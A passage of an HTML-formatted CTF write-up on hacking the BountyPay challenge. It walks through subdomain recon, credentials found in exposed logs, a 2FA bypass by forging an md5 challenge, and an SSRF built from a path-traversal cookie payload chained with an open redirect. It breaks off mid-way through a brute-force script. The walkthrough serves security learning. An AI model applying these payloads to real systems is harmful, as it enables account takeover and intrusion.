&lt;li&gt;Login 2FA Bypass&lt;/li&gt;
&lt;li&gt;Server-Side Request Forgery&lt;/li&gt;
&lt;li&gt;Android Challenges&lt;/li&gt;
&lt;li&gt;API + OSINT&lt;/li&gt;
&lt;li&gt;Privilege Escalation&lt;/li&gt;
&lt;li&gt;Stealing Payment 2FA Code using CSS&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;Initial-Recon&quot;&gt;Initial Recon&lt;/h2&gt;
&lt;p&gt;As soon as hacker sees the &lt;strong&gt;*wildcard&lt;/strong&gt;,&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/06/19/HackerOne-2006-CTF-Writeup/scope.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;We do Recon &amp;amp; &lt;a href=&quot;https://github.com/projectdiscovery/subfinder&quot;&gt;Subfinder&lt;/a&gt; yeilds:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;SubDomains&lt;/th&gt;
&lt;th&gt;Notes Taken&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;bountypay.h1ctf.com&lt;/td&gt;
&lt;td&gt;Static Home Page.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;app.bountypay.h1ctf.com&lt;/td&gt;
&lt;td&gt;For Customers Use, Marten is one of em.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;staff.bountypay.h1ctf.com&lt;/td&gt;
&lt;td&gt;For BountyPay employees probably.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;api.bountypay.h1ctf.com&lt;/td&gt;
&lt;td&gt;Hmm, The API service for above two. Has &lt;strong&gt;Open Redirect&lt;/strong&gt;, Might be for chaining later🤔&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;software.bountypay.h1ctf.com&lt;/td&gt;
&lt;td&gt;Interesting one, Can’t be accessed directly due to IP whitelist, I smell &lt;strong&gt;SSRF&lt;/strong&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;In the text ahead, I will address the subdomains as separate entities (Ex. app.bountypay.h1ctf.com will be just &lt;code&gt;App&lt;/code&gt;)&lt;/p&gt;
&lt;h2 id=&quot;Exposed-git-directory&quot;&gt;Exposed .git directory&lt;/h2&gt;
&lt;p&gt;After trying usual bugs of Auth Bypass in attempts to login into App and Staff, we are just left with more content discovery, and doing usual &lt;a href=&quot;https://github.com/maurosoria/dirsearch&quot;&gt;dirsearch&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/06/19/HackerOne-2006-CTF-Writeup/git.png&quot; alt=&quot;&quot; title=&quot;git&quot;&gt;&lt;/p&gt;
&lt;p&gt;We find that some part of the .git directory is exposed on App for us to analyze. Looking into these files, we get a reference to a public Github Repo of BountyPay(&lt;a href=&quot;https://github.com/bounty-pay-code/request-logger.git&quot;&gt;bounty-pay-code/request-logger&lt;/a&gt;). This repo leaks a path(&lt;a href=&quot;https://app.bountypay.h1ctf.com/bp_web_trace.log&quot;&gt;/bp_web_trace.log&lt;/a&gt;) where logs are stored for the App. The logs contain login credentials of a BountyPay Customer Brian Oliver(&lt;strong&gt;brian.oliver:V7h0inzX&lt;/strong&gt;). Now we have a session on App I guess.&lt;/p&gt;
&lt;h2 id=&quot;Login-2FA-Bypass&quot;&gt;Login 2FA Bypass&lt;/h2&gt;
&lt;p&gt;No No, Not so fast! BountyPay is secure. They have Login 2FA to save their customers 🙃. The App sends a 2FA code to the customer’s phone.&lt;/p&gt;
&lt;p&gt;The POST request for submitting 2FA code had 4 parameters.&lt;br&gt;
Username, Password, &lt;strong&gt;Challenge&lt;/strong&gt; &amp;amp; &lt;strong&gt;Challenge_Answer&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The Challenge_Answer param is supposed to be the 2FA code. In the very first attempt after verifying that the weird Challenge Param is of length 32, I sort of guessed that this is &lt;strong&gt;md5 of answer&lt;/strong&gt; and as the App is taking this from client-side, we might be able to submit &lt;strong&gt;our own challenge according to our own answer&lt;/strong&gt; and fool the App, and BOOM. It just worked. Now we are logged In with Brian’s Creds on the App.&lt;/p&gt;
&lt;h2 id=&quot;Server-Side-Request-Forgery&quot;&gt;Server Side Request Forgery&lt;/h2&gt;
&lt;p&gt;POST-Succesfull Auth, App creates a Base64 encoded JSON cookie: &lt;code&gt;token&lt;/code&gt;, which after decoding looks like:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;&quot;account_id&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;F8gHiqSdpK&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;&quot;hash&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;de235bffd23df6995ad4e0930baac1a2&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After fuzzing both params, we come to know that App is using &lt;code&gt;hash&lt;/code&gt; for the session and &lt;code&gt;account_id&lt;/code&gt; for creating URI for the server-side request to API endpoint for getting the Bounty Payment data for Brian’s account_id &lt;code&gt;F8gHiqSdpK&lt;/code&gt;(App very generously gives away the endpoint in the HTTP response of /statements?month=05&amp;amp;year=2020)&lt;/p&gt;
&lt;p&gt;(&lt;a href=&quot;https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=05&amp;amp;year=2020&quot;&gt;https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=05&amp;amp;year=2020&lt;/a&gt;)&lt;br&gt;
&lt;em&gt;Note: Direct access to this endpoint is not possible, there is some secret token added by App.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Remember the notes from Recon? Software is not accessible due to whitelist and Api has Open Redirect.&lt;/p&gt;
&lt;p&gt;To reach the Software we need SSRF and to get that, we have:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Injection point(/api/accounts/&lt;code&gt;account_id&lt;/code&gt;) in URI to Api&lt;/li&gt;
&lt;li&gt;OpenRedirect(/redirect?url=) on Api to make the request go to wherever we want.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;What we dont have yet is traversal in URI to reach /redirect from /api/account/account_id and &lt;code&gt;account_id=../../redirect?url=software# might just work&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After testing the theory, it just worked!&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;&quot;account_id&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;../../redirect/?url=https://software.bountypay.h1ctf.com/#&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;&quot;hash&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;de235bffd23df6995ad4e0930baac1a2&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;We have full-blown SSRF now and we can reach the Software. 💥&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2020/06/19/HackerOne-2006-CTF-Writeup/ssrf.png&quot; alt=&quot;&quot; title=&quot;ssrf&quot;&gt;&lt;/p&gt;
&lt;p&gt;But there is nothing interesting on it. 😕 The HTML on Software only had one standard Login form with POST method:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;html&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;h1&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; style&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;text-align: center&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;Software Storage&amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;h1&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;form&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; method&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;post&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; action&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;  &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;panel panel-default&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; style&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;margin-top:50px&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;     &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;panel-heading&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;Login&amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;     &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;panel-body&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; style&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;margin-top:7px&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;           &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;label&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;Username:&amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;label&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        &amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;           &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; name&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;username&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;form-control&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        &amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; style&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;margin-top:7px&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;           &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;label&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;Password:&amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;label&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        &amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;           &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; name&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; type&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;form-control&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        &amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;     &amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;  &amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;  &amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; type&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;submit&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;btn btn-success pull-right&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; value&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;Login&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;form&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We just have GET SSRF and we can’t issue POST SSRF, After trying Scenarios like CRLF, etc. and not getting anything, this SSRF felt almost useless for quite some time. But I was sure that it is meant to hit Software in the scenario. I learned from the initial Login step on App that, If we don’t have Hint to move forward, all we can do is content discovery 🙂. Hence wrote a small python script to do Directory brute-force on Software using this SSRF.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; requests&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; base64&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;burp0_url &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &quot;https://app.bountypay.h1ctf.com:443/statements?month=04&amp;amp;year=2020&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;dirs &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; open&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;common-directories.txt&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; d &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; dirs:&lt;/span&gt;&lt;/span&gt;
